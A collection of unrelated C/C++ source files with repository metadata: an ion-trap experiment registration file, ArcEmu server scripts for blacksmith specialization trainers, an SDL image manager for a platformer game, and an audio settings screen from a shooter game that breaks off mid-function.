/* experiments / pages for Al-experiment */ #ifdef CONFIG_AL #include "../common.h" #include "../dacI.h" #include "../voltagesI.h" #include "../exp_recover.h" #include "../exp_correlate.h" #include "exp_Al3P1.h" #include "exp_Al3P0.h" list_t global_exp_list; infoFPGA* iFPGA; dacI5370* iVoltages5370; dacI5535* iVoltages5535; voltagesI* iVoltages; iMg* gpMg; iAl3P1* gpAl3P1; iAl3P0* gpAl3P0; exp_3P0_lock* e3P0LockPQ; exp_3P0_lock* e3P0LockMQ; //! Initialize info_interfaces. Gets called before any remote I/O takes place. void init_remote_interfaces() { iFPGA = new infoFPGA(&global_exp_list, "FPGA"); iVoltages5370 = new dacI5370(&global_exp_list, "AD5370"); iVoltages5535 = new dacI5535(&global_exp_list, "AD5535"); iVoltages = new voltagesAl(&global_exp_list, "Voltages"); gpMg = 0; new iMg(&global_exp_list, "Mg"); new iMg(&global_exp_list, "Mg Al"); new iMg(&global_exp_list, "Mg Al Mg"); new iMg(&global_exp_list, "Mg Al Al"); new iMg(&global_exp_list, "Al Mg Al Mg"); gpAl3P1 = new iAl3P1(&global_exp_list, "Al 3P1"); gpAl3P0 = new iAl3P0(&global_exp_list, "Al 3P0"); eRecover = new exp_recover(&global_exp_list); new exp_detect(&global_exp_list); // new exp_detectN(&global_exp_list); new exp_correlate(&global_exp_list); #ifndef ALUMINIZER_SIM new exp_load_Mg (&global_exp_list, "Load Mg+"); new exp_load_Al (&global_exp_list, "Load Al+"); new exp_repump (&global_exp_list); new exp_heat (&global_exp_list, "Heat Z"); new exp_heat (&global_exp_list, "Heat XY"); //exp_heat eHeat2 (&global_exp_list, "Ex lock"); //exp_heat eHeat3 (&global_exp_list, "Ey lock"); new exp_heat (&global_exp_list, "Ex freq"); new exp_heat (&global_exp_list, "Ex lock"); new exp_heat (&global_exp_list, "Ey freq"); new exp_heat (&global_exp_list, "Ey lock"); new exp_heat (&global_exp_list, "Ev lock"); #endif //ALUMINIZER_SIM new exp_raman (&global_exp_list, "Qubit cal 1"); new exp_raman (&global_exp_list, "Qubit cal 2"); new exp_raman_RF (&global_exp_list, "Qubit scan"); new exp_order_check(&global_exp_list, "Order check"); new exp_3P1_test (&global_exp_list, "3P1 cal"); new exp_3P1_test (&global_exp_list, "3P1 scan"); new exp_3P1_test (&global_exp_list, "3P1 MM sigma"); new exp_3P1_test (&global_exp_list, "3P1 MM vert."); new exp_3P1_test (&global_exp_list, "3P1 Eh lock"); new exp_3P1_test (&global_exp_list, "3P1 Ev lock"); #ifndef ALUMINIZER_SIM //exp_3P1_ent e3P1ent (&global_exp_list); //exp_3P1_entRF e3P1entRF (&global_exp_list); #endif //ALUMINIZER_SIM new exp_3P0 (&global_exp_list, "3P0 cal"); new exp_3P0 (&global_exp_list, "3P0 scan"); new exp_3P0_corr (&global_exp_list, "3P0 corr"); //exp_3P0_lock e3P0LockP (&global_exp_list, "3P0 lock(+)"); //exp_3P0_lock e3P0LockM (&global_exp_list, "3P0 lock(-)"); //exp_3P0_lock e3P0LockPS (&global_exp_list, "3P0 lock(+) shifted"); e3P0LockPQ = new exp_3P0_lock (&global_exp_list, "3P0 lock(+) HQ", 21); e3P0LockMQ = new exp_3P0_lock (&global_exp_list, "3P0 lock(-) HQ", 21); new exp_3P0_lock (&global_exp_list, "3P0 lock(+) HQ2", 21); new exp_3P0_lock (&global_exp_list, "3P0 lock(-) HQ2", 21); new exp_rf (&global_exp_list, "RF 3-2 a"); /* exp_rf eRF0b (&global_exp_list, "RF 3-2 b"); exp_rf eRF1 (&global_exp_list, "RF 3-2-2"); exp_rf eRF2 (&global_exp_list, "RF 3-2-2-1"); exp_rf eRF3 (&global_exp_list, "RF 3-2-2-1-1"); exp_rf eRF4 (&global_exp_list, "RF 3-2-2-1-1-0"); exp_rf eRF5 (&global_exp_list, "RF 3-2-2-1-1-0-0"); */ #ifndef ALUMINIZER_SIM new exp_scanDDS (&global_exp_list, "Scan DDS"); new exp_BS (&global_exp_list); new exp_HiFi_Detect (&global_exp_list); #endif // ALUMINIZER_SIM } #endif //CONFIG_AL
[ "trosen@814e38a0-0077-4020-8740-4f49b76d3b44" ]
[ [ [ 1, 120 ] ] ]
1c63e3c04001579592477f0c12db74239f29ce93
854ee643a4e4d0b7a202fce237ee76b6930315ec
/arcemu_svn/src/sun/src/GossipScripts/Gossip_Trainer.cpp
48efc0c1e4c278678c1be75e846032e4b9b3b482
[]
no_license
miklasiak/projekt
df37fa82cf2d4a91c2073f41609bec8b2f23cf66
064402da950555bf88609e98b7256d4dc0af248a
refs/heads/master
2021-01-01T19:29:49.778109
2008-11-10T17:14:14
2008-11-10T17:14:14
34,016,391
2
0
null
null
null
null
UTF-8
C++
false
false
11,561
cpp
/* * Moon++ Scripts for Ascent MMORPG Server * Copyright (C) 2005-2007 Ascent Team <http://www.ascentemu.com/> * Copyright (C) 2007-2008 Moon++ Team <http://www.moonplusplus.info/> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "StdAfx.h" #include "Setup.h" #define SendQuickMenu(textid) objmgr.CreateGossipMenuForPlayer(&Menu, pObject->GetGUID(), textid, plr); \ Menu->SendTo(plr); class MasterHammersmith : public GossipScript { public: void GossipHello(Object * pObject, Player * plr, bool AutoSend) { GossipMenu *Menu; objmgr.CreateGossipMenuForPlayer(&Menu, pObject->GetGUID(), 7245, plr); Menu->AddItem( 0, "Please teach me how to become a hammersmith, Lilith.", 1); Menu->AddItem( 0, "I wish to unlearn Hammersmithing!", 2); if(AutoSend) Menu->SendTo(plr); } void GossipSelectOption(Object * pObject, Player * plr, uint32 Id, uint32 IntId, const char * Code) { GossipMenu * Menu; switch (IntId) // switch and case 0 can be deleted, but I added it, because in future maybe we will have to expand script with more options. { case 0: GossipHello(pObject, plr, true); break; case 1: { if (!plr->_HasSkillLine(164) || plr->_GetSkillLineCurrent(164, false) < 300) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "Only skilled blacksmiths can obtain this knowledge." ); SendQuickMenu(20001); } else if (!plr->HasSpell(9787)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You need to know Weaponsmith first to learn anything more from me." ); SendQuickMenu(20002); } else if (plr->HasSpell(17040)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You already know that." ); SendQuickMenu(20003); } else if (plr->HasSpell(17041) || plr->HasSpell(17039) || plr->HasSpell(9788)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You already know one specialization." ); SendQuickMenu(20004); } else { if ( plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 600 ) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You need 6 silver coins to learn this skill."); SendQuickMenu(20005); } else { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "Make good use of this knowledge." ); SendQuickMenu(20006); Creature *Trainer = (Creature*)pObject; Trainer->CastSpell(plr, 39099, true); int32 gold = plr->GetUInt32Value(PLAYER_FIELD_COINAGE); plr->SetUInt32Value(PLAYER_FIELD_COINAGE, gold - 600); } } }break; case 2: { if (!plr->HasSpell(17040)) { SendQuickMenu(20007); } else if ((plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 250000 && plr->getLevel() <= 50) || (plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 500000 && plr->getLevel() > 50 && plr->getLevel() <= 65) || (plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 1000000 && plr->getLevel() > 65)) { SendQuickMenu(20008); } else { int32 unlearnGold; if (plr->getLevel() <= 50) unlearnGold = 250000; if (plr->getLevel() > 50 && plr->getLevel() <= 65) unlearnGold = 500000; if (plr->getLevel() > 65) unlearnGold = 1000000; plr->SetUInt32Value(PLAYER_FIELD_COINAGE, plr->GetUInt32Value(PLAYER_FIELD_COINAGE) - unlearnGold); plr->removeSpell(17040, false, false, 0); SendQuickMenu(20009); } }break; } } void Destroy() { delete this; } }; class MasterSwordsmith : public GossipScript { public: void GossipHello(Object * pObject, Player * plr, bool AutoSend) { GossipMenu *Menu; objmgr.CreateGossipMenuForPlayer(&Menu, pObject->GetGUID(), 7247, plr); Menu->AddItem( 0, "Please teach me how to become a swordsmith, Seril.", 1); Menu->AddItem( 0, "I wish to unlearn Swordsmithing!", 2); if(AutoSend) Menu->SendTo(plr); } void GossipSelectOption(Object * pObject, Player * plr, uint32 Id, uint32 IntId, const char * Code) { GossipMenu * Menu; switch (IntId) // switch and case 0 can be deleted, but I added it, because in future maybe we will have to expand script with more options. { case 0: GossipHello(pObject, plr, true); break; case 1: { if (!plr->_HasSkillLine(164) || plr->_GetSkillLineCurrent(164, false) < 300) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "Only skilled blacksmiths can obtain this knowledge." ); SendQuickMenu(20001); } else if (!plr->HasSpell(9787)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You need to know Weaponsmith first to learn anything more from me." ); SendQuickMenu(20002); } else if (plr->HasSpell(17039)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You already know that." ); SendQuickMenu(20003); } else if (plr->HasSpell(17041) || plr->HasSpell(17040) || plr->HasSpell(9788)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You already know one specialization." ); SendQuickMenu(20004); } else { if (plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 600) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You need 6 silver coins to learn this skill."); SendQuickMenu(20005); } else { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "Make good use of this knowledge." ); SendQuickMenu(20006); Creature *Trainer = (Creature*)pObject; Trainer->CastSpell(plr, 39097, true); int32 gold = plr->GetUInt32Value(PLAYER_FIELD_COINAGE); plr->SetUInt32Value(PLAYER_FIELD_COINAGE, gold - 600); } } }break; case 2: { if (!plr->HasSpell(17039)) { SendQuickMenu(20007); } else if ((plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 250000 && plr->getLevel() <= 50) || (plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 500000 && plr->getLevel() > 50 && plr->getLevel() <= 65) || (plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 1000000 && plr->getLevel() > 65)) { SendQuickMenu(20008); } else { int32 unlearnGold; if (plr->getLevel() <= 50) unlearnGold = 250000; if (plr->getLevel() > 50 && plr->getLevel() <= 65) unlearnGold = 500000; if (plr->getLevel() > 65) unlearnGold = 1000000; plr->SetUInt32Value(PLAYER_FIELD_COINAGE, plr->GetUInt32Value(PLAYER_FIELD_COINAGE) - unlearnGold); plr->removeSpell(17039, false, false, 0); SendQuickMenu(20009); } }break; } } void Destroy() { delete this; } }; class MasterAxesmith : public GossipScript { public: void GossipHello(Object * pObject, Player * plr, bool AutoSend) { GossipMenu *Menu; objmgr.CreateGossipMenuForPlayer(&Menu, pObject->GetGUID(), 7243, plr); Menu->AddItem( 0, "Please teach me how to become a axesmith, Kilram.", 1); Menu->AddItem( 0, "I wish to unlearn Axesmithing!", 2); if(AutoSend) Menu->SendTo(plr); } void GossipSelectOption(Object * pObject, Player * plr, uint32 Id, uint32 IntId, const char * Code) { GossipMenu * Menu; switch (IntId) // switch and case 0 can be deleted, but I added it, because in future maybe we will have to expand script with more options. { case 0: GossipHello(pObject, plr, true); break; case 1: { if (!plr->_HasSkillLine(164) || plr->_GetSkillLineCurrent(164, false) < 300) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "Only skilled blacksmiths can obtain this knowledge." ); SendQuickMenu(20001); } else if (!plr->HasSpell(9787)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You need to know Weaponsmith first to learn anything more from me." ); SendQuickMenu(20002); } else if (plr->HasSpell(17041)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You already know that." ); SendQuickMenu(20003); } else if (plr->HasSpell(17039) || plr->HasSpell(17040) || plr->HasSpell(9788)) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You already know one specialization." ); SendQuickMenu(20004); } else { if (plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 600) { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "You need 6 silver coins to learn this skill."); SendQuickMenu(20005); } else { //pCreature->SendChatMessage(CHAT_MSG_MONSTER_SAY, LANG_UNIVERSAL, "Make good use of this knowledge." ); SendQuickMenu(20006); Creature *Trainer = (Creature*)pObject; Trainer->CastSpell(plr, 39098, true); int32 gold = plr->GetUInt32Value(PLAYER_FIELD_COINAGE); plr->SetUInt32Value(PLAYER_FIELD_COINAGE, gold - 600); } } }break; case 2: { if (!plr->HasSpell(17041)) { SendQuickMenu(20007); } else if ((plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 250000 && plr->getLevel() <= 50) || (plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 500000 && plr->getLevel() > 50 && plr->getLevel() <= 65) || (plr->GetUInt32Value(PLAYER_FIELD_COINAGE) < 1000000 && plr->getLevel() > 65)) { SendQuickMenu(20008); } else { int32 unlearnGold; if (plr->getLevel() <= 50) unlearnGold = 250000; if (plr->getLevel() > 50 && plr->getLevel() <= 65) unlearnGold = 500000; if (plr->getLevel() > 65) unlearnGold = 1000000; plr->SetUInt32Value(PLAYER_FIELD_COINAGE, plr->GetUInt32Value(PLAYER_FIELD_COINAGE) - unlearnGold); plr->removeSpell(17041, false, false, 0); SendQuickMenu(20009); } }break; } } void Destroy() { delete this; } }; void SetupTrainerScript(ScriptMgr * mgr) { GossipScript * MHammersmith = (GossipScript*) new MasterHammersmith(); GossipScript * MSwordsmith = (GossipScript*) new MasterSwordsmith(); GossipScript * MAxesmith = (GossipScript*) new MasterAxesmith(); mgr->register_gossip_script(11191, MHammersmith); // Lilith the Lithe mgr->register_gossip_script(11193, MSwordsmith); // Seril Scourgebane mgr->register_gossip_script(11192, MAxesmith); // Kilram }
[ "[email protected]@3074cc92-8d2b-11dd-8ab4-67102e0efeef" ]
[ [ [ 1, 359 ] ] ]
f759330f20096c7ebea382d0cf7fdbf71443987e
51e1cf5dc3b99e8eecffcf5790ada07b2f03f39c
/SMC/src/img_manager.cpp
b42c80bc64f5962443e21e282ffa757f313dbac8
[]
no_license
jdek/jim-pspware
c3e043b59a69cf5c28daf62dc9d8dca5daf87589
fd779e1148caac2da4c590844db7235357b47f7e
refs/heads/master
2021-05-31T06:45:03.953631
2007-06-25T22:45:26
2007-06-25T22:45:26
56,973,047
2
1
null
null
null
null
UTF-8
C++
false
false
4,526
cpp
/*************************************************************************** img_manager.cpp - Image Handler/Manager ------------------- copyright : (C) 2003-2005 by FluXy ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ #include "include/globals.h" cImageManager :: cImageManager( void ) { load_count = 0; } cImageManager :: ~cImageManager( void ) { DeleteAll(); } SDL_Surface *cImageManager :: Get_Pointer( string nPath ) { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( ImageItems[i].Path.compare( nPath ) == 0 ) { return ImageItems[i].Item; // the first found } } return NULL; // not found } SDL_Surface *cImageManager :: Get_Pointer( unsigned int identifier ) { if( load_count > identifier ) { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( ImageItems[i].CountId == identifier ) { return ImageItems[i].Item; } } } return NULL; // not found } SDL_Surface *cImageManager :: Get_Pointer_array( unsigned int nId ) { if( Get_Size() > nId && ImageItems[nId].Item ) { return ImageItems[nId].Item; } return NULL; // not found } SDL_Surface *cImageManager :: Copy( string nPath ) { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( ImageItems[i].Path.compare( nPath ) == 0 ) // The first match { return SDL_Copy( ImageItems[i].Item ); } } return NULL; // not found } string cImageManager :: Get_Path( SDL_Surface *nItem ) { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( ImageItems[i].Item == nItem ) { return ImageItems[i].Path; // the first found } } return ""; // not found } string cImageManager :: Get_Path( unsigned int identifier ) { if( load_count >= identifier ) { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( ImageItems[i].CountId == identifier ) { return ImageItems[i].Path; } } } return ""; // not found } const char *cImageManager :: Get_PathC( SDL_Surface *nItem ) { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( ImageItems[i].Item == nItem ) { return ImageItems[i].Path.c_str(); // the first found } } return NULL; // not found } const char *cImageManager :: Get_PathC( unsigned int identifier ) { if( load_count > identifier ) { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( ImageItems[i].CountId == identifier ) { return ImageItems[i].Path.c_str(); } } } return NULL; // not found } unsigned int cImageManager :: Get_Size( void ) { return ImageItems.size(); } void cImageManager :: Add( SDL_Surface *nimage, string nfilename ) { load_count++; ImageItem nitem; nitem.Item = nimage; nitem.Path = nfilename; nitem.CountId = load_count; ImageItems.push_back( nitem ); } void cImageManager :: ReloadImages( unsigned int step ) { if( step == 1 ) // only delete { DeleteImages(); return; } if( step == 2 ) // Loads the images { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( !ImageItems[i].Item && ImageItems[i].Path.length() > 4 ) { ImageItems[i].Item = LoadImage( ImageItems[i].Path ); if( !ImageItems[i].Item ) { printf( "Error loading file : %s\n", ImageItems[i].Path.c_str() ); } } } return; } if( !step ) // Complete Reload { ReloadImages( 1 ); ReloadImages( 2 ); } } void cImageManager :: DeleteImages( void ) { for( unsigned int i = 0; i < ImageItems.size(); i++ ) { if( ImageItems[i].Item ) { SDL_FreeSurface( ImageItems[i].Item ); ImageItems[i].Item = NULL; } } } void cImageManager :: DeleteAll( void ) { DeleteImages(); ImageItems.clear(); }
[ "rinco@ff2c0c17-07fa-0310-a4bd-d48831021cb5" ]
[ [ [ 1, 210 ] ] ]
9227746aed8b423a237c3784392904247ac794f9
c95a83e1a741b8c0eb810dd018d91060e5872dd8
/Game/ClientShellDLL/TO2/ScreenAudio.cpp
8a9e6d1b6a8f200e974ebd7f6e415df7879fadf6
[]
no_license
rickyharis39/nolf2
ba0b56e2abb076e60d97fc7a2a8ee7be4394266c
0da0603dc961e73ac734ff365bfbfb8abb9b9b04
refs/heads/master
2021-01-01T17:21:00.678517
2011-07-23T12:11:19
2011-07-23T12:11:19
38,495,312
1
0
null
null
null
null
UTF-8
C++
false
false
10,503
cpp
// ----------------------------------------------------------------------- // // // MODULE : ScreenAudio.cpp // // PURPOSE : Interface screen for setting audio options // // (c) 1999-2001 Monolith Productions, Inc. All Rights Reserved // // ----------------------------------------------------------------------- // #include "stdafx.h" #include "ScreenAudio.h" #include "ScreenMgr.h" #include "ScreenCommands.h" #include "ClientRes.h" #include "ProfileMgr.h" #include "GameClientShell.h" namespace { int kGap = 0; int kWidth = 0; void AreYouSureCallBack(LTBOOL bReturn, void *pData) { CScreenAudio *pThisScreen = (CScreenAudio *)g_pInterfaceMgr->GetScreenMgr()->GetScreenFromID(SCREEN_ID_AUDIO); if (pThisScreen) { pThisScreen->SendCommand(CMD_CONFIRM,bReturn,(uint32)pData); } } } ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CScreenAudio::CScreenAudio() { m_nSoundVolume=SOUND_DEFAULT_VOL; m_nMusicVolume=MUSIC_DEFAULT_VOL; m_nSpeechVolume = SPEECH_DEFAULT_VOL; m_bSoundQuality=LTFALSE; m_bMusicQuality=LTFALSE; m_bMusicEnabled=LTFALSE; m_pSoundVolumeCtrl=LTNULL; m_pSpeechVolumeCtrl=LTNULL; m_pMusicVolumeCtrl=LTNULL; m_pSoundQualityCtrl=LTNULL; m_pMusicQualityCtrl=LTNULL; } CScreenAudio::~CScreenAudio() { } // Build the screen LTBOOL CScreenAudio::Build() { CreateTitle(IDS_TITLE_SOUND); kGap = g_pLayoutMgr->GetScreenCustomInt(SCREEN_ID_AUDIO,"ColumnWidth"); kWidth = g_pLayoutMgr->GetScreenCustomInt(SCREEN_ID_AUDIO,"SliderWidth"); uint32 dwAdvancedOptions = g_pInterfaceMgr->GetAdvancedOptions(); m_bMusicEnabled = (dwAdvancedOptions & AO_MUSIC); //background frame LTRect frameRect = g_pLayoutMgr->GetScreenCustomRect(SCREEN_ID_AUDIO,"FrameRect"); LTIntPt pos(frameRect.left,frameRect.top); int nHt = frameRect.bottom - frameRect.top; int nWd = frameRect.right - frameRect.left; char szFrame[128]; g_pLayoutMgr->GetScreenCustomString(SCREEN_ID_AUDIO,"FrameTexture",szFrame,sizeof(szFrame)); HTEXTURE hFrame = g_pInterfaceResMgr->GetTexture(szFrame); CLTGUIFrame *pFrame = debug_new(CLTGUIFrame); pFrame->Create(hFrame,nWd,nHt+8,LTTRUE); pFrame->SetBasePos(pos); pFrame->SetBorder(2,m_SelectedColor); AddControl(pFrame); m_pSoundVolumeCtrl=AddSlider(IDS_SOUND_FXVOL, IDS_HELP_SOUNDVOL, kGap, kWidth, -1, &m_nSoundVolume); m_pSoundVolumeCtrl->Enable( (dwAdvancedOptions & AO_SOUND) ); m_pSoundVolumeCtrl->SetSliderRange(SOUND_MIN_VOL, SOUND_MAX_VOL); m_pSoundVolumeCtrl->SetSliderIncrement(SOUND_SLIDER_INC); m_pSpeechVolumeCtrl=AddSlider(IDS_SPEECH_FXVOL, IDS_HELP_SPEECHVOL, kGap, kWidth, -1, &m_nSpeechVolume); m_pSpeechVolumeCtrl->Enable( (dwAdvancedOptions & AO_SOUND) ); m_pSpeechVolumeCtrl->SetSliderRange(SPEECH_MIN_VOL, SPEECH_MAX_VOL); m_pSpeechVolumeCtrl->SetSliderIncrement(SPEECH_SLIDER_INC); m_pSoundQualityCtrl=AddToggle(IDS_SOUND_QUALITY, IDS_HELP_SOUNDQUAL, kGap, &m_bSoundQuality); m_pSoundQualityCtrl->SetOnString(LoadTempString(IDS_SOUND_HIGH)); m_pSoundQualityCtrl->SetOffString(LoadTempString(IDS_SOUND_LOW)); m_pSoundQualityCtrl->Enable( (dwAdvancedOptions & AO_SOUND) ); m_pMusicVolumeCtrl = AddSlider(IDS_SOUND_MUSICVOL, IDS_HELP_MUSICVOL, kGap, kWidth, -1, &m_nMusicVolume); m_pMusicVolumeCtrl->Enable( (dwAdvancedOptions & AO_MUSIC) ); m_pMusicVolumeCtrl->SetSliderRange(MUSIC_MIN_VOL, MUSIC_MAX_VOL); m_pMusicVolumeCtrl->SetSliderIncrement(MUSIC_SLIDER_INC); m_pMusicQualityCtrl=AddToggle(IDS_MUSIC_QUALITY, IDS_HELP_MUSIC_QUALITY, kGap, &m_bMusicQuality); m_pMusicQualityCtrl->SetOnString(LoadTempString(IDS_SOUND_HIGH)); m_pMusicQualityCtrl->SetOffString(LoadTempString(IDS_SOUND_LOW)); m_pMusicQualityCtrl->Enable( (dwAdvancedOptions & AO_MUSIC) ); // Make sure to call the base class if (! CBaseScreen::Build()) return LTFALSE; UseBack(LTTRUE,LTTRUE); return LTTRUE; } uint32 CScreenAudio::OnCommand(uint32 dwCommand, uint32 dwParam1, uint32 dwParam2) { if (dwCommand == CMD_CONFIRM) { // See if we kept the change or not... bool bChanged = true; if (dwParam2 == IDS_CONFIRM_MUSIC) { LTBOOL bChangedMusicQuality = m_bMusicQuality; m_bMusicQuality = (dwParam1 > 0); m_pMusicQualityCtrl->UpdateData(LTFALSE); bChanged = (bChangedMusicQuality == m_bMusicQuality); } else if (dwParam2 == IDS_CONFIRM_SOUND) { LTBOOL bChangedSoundQuality = m_bSoundQuality; m_bSoundQuality = (dwParam1 > 0); m_pSoundQualityCtrl->UpdateData(LTFALSE); bChanged = (bChangedSoundQuality == m_bSoundQuality); } if (bChanged) { SaveSoundSettings(); } return 1; } return CBaseScreen::OnCommand(dwCommand,dwParam1,dwParam2); }; void CScreenAudio::OnFocus(LTBOOL bFocus) { CUserProfile *pProfile = g_pProfileMgr->GetCurrentProfile(); if (bFocus) { pProfile->SetSound(); m_nSoundVolume = pProfile->m_nSoundVolume; m_nMusicVolume = pProfile->m_nMusicVolume; m_nSpeechVolume = (int)(100.0f * pProfile->m_fSpeechSoundMultiplier); m_bSoundQuality = pProfile->m_bSoundQuality; LTBOOL bSoundOn = (LTBOOL)GetConsoleInt("soundenable",1); m_pSoundVolumeCtrl->Enable(bSoundOn); m_pSpeechVolumeCtrl->Enable(bSoundOn); m_pSoundQualityCtrl->Enable(bSoundOn); m_bMusicQuality = pProfile->m_bMusicQuality; if (!GetConsoleInt("MusicActive",0)) m_nMusicVolume = MUSIC_MIN_VOL; m_pMusicVolumeCtrl->Enable(m_bMusicEnabled); m_pMusicQualityCtrl->Enable(m_bMusicEnabled && m_nMusicVolume > MUSIC_MIN_VOL); m_nPerformance = g_pPerformanceMgr->GetPerformanceCfg(false); UpdateData(LTFALSE); } else { SaveSoundSettings(); //sound setting can affect performance sttings so update them here... g_pPerformanceMgr->GetPerformanceOptions(&pProfile->m_sPerformance); pProfile->Save(); } CBaseScreen::OnFocus(bFocus); } //check to see if they really want to (for performance reasons) void CScreenAudio::ConfirmQualityChange(bool bMusic) { UpdateData(LTTRUE); if (bMusic) { if (m_bMusicQuality && (m_nPerformance < 2)) { MBCreate mb; mb.eType = LTMB_YESNO; mb.pFn = AreYouSureCallBack; mb.pData = (void *)IDS_CONFIRM_MUSIC; g_pInterfaceMgr->ShowMessageBox(IDS_CONFIRM_MUSIC,&mb,0,LTFALSE); return; } } else { if (m_bSoundQuality && (m_nPerformance == 0)) { MBCreate mb; mb.eType = LTMB_YESNO; mb.pFn = AreYouSureCallBack; mb.pData = (void *)IDS_CONFIRM_SOUND; g_pInterfaceMgr->ShowMessageBox(IDS_CONFIRM_SOUND,&mb,0,LTFALSE); return; } } // We accepted change, so save the new sound settings... SaveSoundSettings(); } // Save the sound settings void CScreenAudio::SaveSoundSettings() { UpdateData(LTTRUE); CUserProfile *pProfile = g_pProfileMgr->GetCurrentProfile(); pProfile->m_nSoundVolume = m_nSoundVolume; pProfile->m_nMusicVolume = m_nMusicVolume; WriteConsoleInt("MusicActive", (m_nMusicVolume > MUSIC_MIN_VOL) && m_bMusicEnabled); pProfile->m_fSpeechSoundMultiplier = m_nSpeechVolume / 100.0f; pProfile->m_bSoundQuality = m_bSoundQuality; pProfile->m_bMusicQuality = m_bMusicQuality; pProfile->ApplySound(); } // Override the left and right controls so that the volumes can be changed LTBOOL CScreenAudio::OnLeft() { LTBOOL handled = LTFALSE; CLTGUICtrl* pCtrl = GetSelectedControl(); if (pCtrl) handled = pCtrl->OnLeft(); if (handled) { if (pCtrl == m_pMusicVolumeCtrl) { UpdateData(LTTRUE); m_pMusicQualityCtrl->Enable(m_bMusicEnabled && m_nMusicVolume > MUSIC_MIN_VOL); SaveSoundSettings(); } else if (pCtrl == m_pMusicQualityCtrl) ConfirmQualityChange(true); else if (pCtrl == m_pSoundQualityCtrl) ConfirmQualityChange(false); else SaveSoundSettings(); g_pInterfaceMgr->RequestInterfaceSound(IS_SELECT); } return handled; } LTBOOL CScreenAudio::OnRight() { LTBOOL handled = CBaseScreen::OnRight(); CLTGUICtrl* pCtrl = GetSelectedControl(); if (handled) { if (pCtrl == m_pMusicVolumeCtrl) { UpdateData(LTTRUE); m_pMusicQualityCtrl->Enable(m_bMusicEnabled && m_nMusicVolume > MUSIC_MIN_VOL); SaveSoundSettings(); } else if (pCtrl == m_pMusicQualityCtrl) ConfirmQualityChange(true); else if (pCtrl == m_pSoundQualityCtrl) ConfirmQualityChange(false); else SaveSoundSettings(); g_pInterfaceMgr->RequestInterfaceSound(IS_SELECT); } return handled; } LTBOOL CScreenAudio::OnEnter() { LTBOOL handled = CBaseScreen::OnEnter(); CLTGUICtrl* pCtrl = GetSelectedControl(); if (handled) { if (pCtrl == m_pMusicVolumeCtrl) { UpdateData(LTTRUE); m_pMusicQualityCtrl->Enable(m_bMusicEnabled && m_nMusicVolume > MUSIC_MIN_VOL); SaveSoundSettings(); } else if (pCtrl == m_pMusicQualityCtrl) ConfirmQualityChange(true); else if (pCtrl == m_pSoundQualityCtrl) ConfirmQualityChange(false); else SaveSoundSettings(); g_pInterfaceMgr->RequestInterfaceSound(IS_SELECT); } return handled; } LTBOOL CScreenAudio::OnLButtonUp(int x, int y) { LTBOOL handled = CBaseScreen::OnLButtonUp(x, y); CLTGUICtrl* pCtrl = GetSelectedControl(); if (handled) { if (pCtrl == m_pMusicVolumeCtrl) { UpdateData(LTTRUE); m_pMusicQualityCtrl->Enable(m_bMusicEnabled && m_nMusicVolume > MUSIC_MIN_VOL); SaveSoundSettings(); } else if (pCtrl == m_pMusicQualityCtrl) ConfirmQualityChange(true); else if (pCtrl == m_pSoundQualityCtrl) ConfirmQualityChange(false); else SaveSoundSettings(); g_pInterfaceMgr->RequestInterfaceSound(IS_SELECT); } return handled; } LTBOOL CScreenAudio::OnRButtonUp(int x, int y) { LTBOOL handled = 